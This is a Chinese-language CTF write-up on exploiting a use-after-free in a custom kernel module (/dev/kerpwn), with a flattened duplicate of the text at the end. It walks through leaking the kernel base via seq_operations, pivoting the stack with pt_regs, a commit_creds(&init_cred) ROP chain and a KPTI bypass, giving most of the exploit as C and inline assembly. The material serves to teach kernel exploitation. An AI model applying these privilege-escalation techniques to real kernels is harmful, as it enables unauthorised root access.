内核seq_operation+pt_regs结构体组合利用学习
字数 1332 2025-12-23 12:10:18

内核漏洞利用:seq_operations与pt_regs结构体组合利用技术

概述

本文详细分析内核堆溢出漏洞利用中seq_operationspt_regs结构体的组合利用技术。通过实际案例,讲解如何利用UAF漏洞实现内核地址泄露、执行流劫持和权限提升。

内核交互流程分析

ioctl系统调用详解

ioctl函数原型

long my_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
  • filp: 文件结构体指针
  • cmd: 命令码,区分不同操作
  • arg: 用户空间传递的参数,可以是整数或指针

关键点:第三个参数arg的处理

arg通常是指向用户空间结构体的指针,内核通过copy_from_user/copy_to_user进行数据传输:

long my_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    int user_val;
    switch (cmd) {
        case MY_CMD_SET_VALUE:
            if (copy_from_user(&user_val, (int __user *)arg, sizeof(user_val))) {
                return -EFAULT;
            }
            break;
        case MY_CMD_GET_VALUE:
            user_val = get_some_kernel_value();
            if (copy_to_user((int __user *)arg, &user_val, sizeof(user_val))) {
                return -EFAULT;
            }
            break;
    }
    return 0;
}

题目中ioctl命令分析

Case 1: cmd == 0x20 (malloc)

if (copy_from_user(&index, a3, 0x10))
  • 拷贝16字节数据
  • 前8字节:size(实际是size,变量命名混乱)
  • 后8字节:用户数据指针

结构体定义:

struct {
    size_t size;        // <= 0x20
    void *user_data;    // 指向要拷贝进内核的数据
} req;

调用方式:

ioctl(fd, 0x20, &req);

Case 2: cmd == 0x30 (delete)

copy_from_user(&index, a3, 8)
  • 只拷贝8字节:索引值

调用方式:

uint64_t idx = 5;
ioctl(fd, 0x30, &idx);

Case 3: cmd == 0x40 (show)

copy_from_user(&index, a3, 24)
  • 拷贝24字节,但只使用前8字节(index)

结构体定义:

struct {
    uint64_t index;
    char padding[16];
} req;

Case 4: cmd == 0x50 (edit)

copy_from_user(&index, a3, 24)
copy_from_user(content, v6, n0x100_2)
  • 前8字节:index
  • 接下来8字节:size
  • 再接下来8字节:数据指针

结构体定义:

struct {
    uint64_t index;
    uint64_t size;
    void *data;
} req;

漏洞分析

UAF漏洞位置

if (_a2 != 0x20) {
    if (_a2 != 0x30)
        return result;
    if (!copy_from_user(&index, a3, 8)) {
        if ((unsigned int)index <= 0x20) { // delete
            if (addrList[(unsigned int)index])
                kfree(); // UAF漏洞:释放后未置空
        }
        return 0;
    }
    return -22;
}

内存分配逻辑

if (copy_from_user(&index, a3, 0x10))
    return -22;
if (index > 0x20) // malloc
    return 0;
object_ptr = _kmalloc(index, 0xCC0);
heap_ptr = object_ptr;
if (!object_ptr)
    return 0;
n0x20_1 = index;
n0x100_1 = size;
if (index > 0x7FFFFFFF)
    goto LABEL_29;
_check_object_size(object_ptr, index, 0);
v11 = copy_from_user(heap_ptr, n0x100_1, n0x20_1);

利用原理与技术

地址泄露技术

seq_operations结构体利用

  • 通过open("/proc/self/stat", O_RDONLY)触发single_open
  • 分配seq_operations结构体(32字节,kmalloc-32缓存)
  • 结构体包含预初始化的内核函数指针
int single_open(struct file *file, int (*show)(struct seq_file *, void *), void *data) {
    struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);
    int res = -ENOMEM;
    if (op) {
        op->start = single_start;
        op->next = single_next;
        // ...
    }
}

提权技术

传统ROP方法

需要执行commit_creds(prepare_kernel_cred(NULL)),但gadget长度受限。

init_cred方法

  • init_cred是init进程的cred,具有root权限
  • 静态分配,泄露内核基址后可计算其地址
  • 只需执行commit_creds(&init_cred)即可提权

栈迁移与pt_regs利用

系统调用上下文

系统调用时,内核将寄存器压栈形成pt_regs结构体:

struct pt_regs {
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
    unsigned long orig_rax;
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
};

KPTI绕过技术

使用swapgs_restore_regs_and_return_to_usermode函数返回用户态:

mov rdi, cr3
or rdi, 0x1000
mov cr3, rdi
pop rax
pop rdi
swapgs
iretq

栈布局要求:

↓ swapgs_restore_regs_and_return_to_usermode
0                    // padding
0                    // padding
user_shell_addr      // rip
user_cs              // cs
user_rflags          // rflags
user_sp              // rsp
user_ss              // ss

漏洞利用实战

环境准备

文件系统打包

#!/bin/sh
find . -print0 | cpio --null -ov --format=newc | gzip -9 > rootfs.img
mv rootfs.img ..

内核符号获取

cat /proc/kallsyms > /tmp/kallsyms

利用步骤

1. 定义操作结构体

struct op_chunk {
    size_t idx;
    size_t size;
    void *buf;
};

struct alloc_chunk {
    size_t size;
    void *buf;
};

2. 操作函数封装

void readChunk(size_t idx, size_t size, void *buf) {
    struct op_chunk op = {.idx = idx, .size = size, .buf = buf};
    ioctl(dev_fd, 0x40, &op);
}

void writeChunk(size_t idx, size_t size, void *buf) {
    struct op_chunk op = {.idx = idx, .size = size, .buf = buf};
    ioctl(dev_fd, 0x50, &op);
}

void deleteChunk(size_t idx) {
    struct op_chunk op = {.idx = idx};
    ioctl(dev_fd, 0x30, &op);
}

void allocChunk(size_t size, void *buf) {
    struct alloc_chunk alloc = {.size = size, .buf = buf};
    ioctl(dev_fd, 0x20, &alloc);
}

3. 漏洞利用流程

int main(int argc, char **argv, char **envp) {
    // 初始化
    dev_fd = open("/dev/kerpwn", O_RDWR);
    
    // 触发UAF
    allocChunk(0x20, buf);
    deleteChunk(0);
    
    // 分配seq_operations并泄露
    seq_fd = open("/proc/self/stat", O_RDONLY);
    readChunk(0, 0x20, buf);
    
    // 计算偏移和地址
    kernel_offset = buf[0] - SEQ_OPS_0;
    kernel_base += kernel_offset;
    swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset;
    init_cred = INIT_CRED + kernel_offset;
    pop_rdi_ret = POP_RDI_RET + kernel_offset;
    commit_creds = COMMIT_CREDS + kernel_offset;
    
    // 布置ROP链
    gadget = 0xffffffff8135b0f6 + kernel_offset; // add rsp, 0x180
    buf[0] = gadget;
    swapgs_restore_regs_and_return_to_usermode += 9;
    writeChunk(0, 0x20, buf);
    
    // 触发利用
    vuln();
    system("/bin/sh");
    return 0;
}

4. ROP链布置

void vuln() {
    __asm__(
        "mov r15, 0xbeefdead;"
        "mov r14, pop_rdi_ret;"
        "mov r13, init_cred;"
        "mov r12, commit_creds;"
        "mov rbp, swapgs_restore_regs_and_return_to_usermode;"
        "mov rbx, 0xbeefdead;"
        "mov r11, 0xbeefdead;"
        "mov r10, 0xbeefdead;"
        "mov r9, 0xbeefdead;"
        "mov r8, 0xbeefdead;"
        "xor rax, rax;"
        "mov rcx, 0x666666;"
        "mov rdx, 8;"
        "mov rsi, rsp;"
        "mov rdi, seq_fd;"
        "syscall"
    );
}

GDB调试配置

#!/bin/sh
gdb -q \
    -ex "file vmlinux" \
    -ex "symbol-file vmliux" \
    -ex "add-symbol-file test_kk.ko 0xffffffffc0002000" \
    -ex "target remote localhost:1234" \
    -ex "b *(0xffffffffc0002000+0x2E3)" \
    -ex "b *(0xffffffffc0002000+0x21A)" \
    -ex "b *(0xffffffffc0002000+0x191)" \
    -ex "b *(0xffffffffc0002000+0x253)"

总结

通过seq_operationspt_regs结构体的组合利用,我们实现了:

  1. 利用UAF漏洞泄露内核地址
  2. 通过seq_operations结构体获取内核基址
  3. 使用pt_regs进行栈迁移和ROP链布置
  4. 绕过KPTI保护返回用户态
  5. 最终获取root权限

这种组合利用技术在现代内核堆漏洞利用中具有重要价值,特别是在gadget长度受限的情况下,通过精心设计的栈布局和寄存器控制,能够实现稳定的权限提升。

内核漏洞利用:seq_ operations与pt_ regs结构体组合利用技术 概述 本文详细分析内核堆溢出漏洞利用中 seq_operations 与 pt_regs 结构体的组合利用技术。通过实际案例,讲解如何利用UAF漏洞实现内核地址泄露、执行流劫持和权限提升。 内核交互流程分析 ioctl系统调用详解 ioctl函数原型 filp : 文件结构体指针 cmd : 命令码,区分不同操作 arg : 用户空间传递的参数,可以是整数或指针 关键点:第三个参数arg的处理 arg 通常是指向用户空间结构体的指针,内核通过 copy_from_user / copy_to_user 进行数据传输: 题目中ioctl命令分析 Case 1: cmd == 0x20 (malloc) 拷贝16字节数据 前8字节:size(实际是size,变量命名混乱) 后8字节:用户数据指针 结构体定义: 调用方式: Case 2: cmd == 0x30 (delete) 只拷贝8字节:索引值 调用方式: Case 3: cmd == 0x40 (show) 拷贝24字节,但只使用前8字节(index) 结构体定义: Case 4: cmd == 0x50 (edit) 前8字节:index 接下来8字节:size 再接下来8字节:数据指针 结构体定义: 漏洞分析 UAF漏洞位置 内存分配逻辑 利用原理与技术 地址泄露技术 seq_ operations结构体利用 通过 open("/proc/self/stat", O_RDONLY) 触发 single_open 分配 seq_operations 结构体(32字节,kmalloc-32缓存) 结构体包含预初始化的内核函数指针 提权技术 传统ROP方法 需要执行 commit_creds(prepare_kernel_cred(NULL)) ,但gadget长度受限。 init_ cred方法 init_cred 是init进程的cred,具有root权限 静态分配,泄露内核基址后可计算其地址 只需执行 commit_creds(&init_cred) 即可提权 栈迁移与pt_ regs利用 系统调用上下文 系统调用时,内核将寄存器压栈形成 pt_regs 结构体: KPTI绕过技术 使用 swapgs_restore_regs_and_return_to_usermode 函数返回用户态: 栈布局要求: 漏洞利用实战 环境准备 文件系统打包 内核符号获取 利用步骤 1. 定义操作结构体 2. 操作函数封装 3. 漏洞利用流程 4. ROP链布置 GDB调试配置 总结 通过 seq_operations 与 pt_regs 结构体的组合利用,我们实现了: 利用UAF漏洞泄露内核地址 通过 seq_operations 结构体获取内核基址 使用 pt_regs 进行栈迁移和ROP链布置 绕过KPTI保护返回用户态 最终获取root权限 这种组合利用技术在现代内核堆漏洞利用中具有重要价值,特别是在gadget长度受限的情况下,通过精心设计的栈布局和寄存器控制,能够实现稳定的权限提升。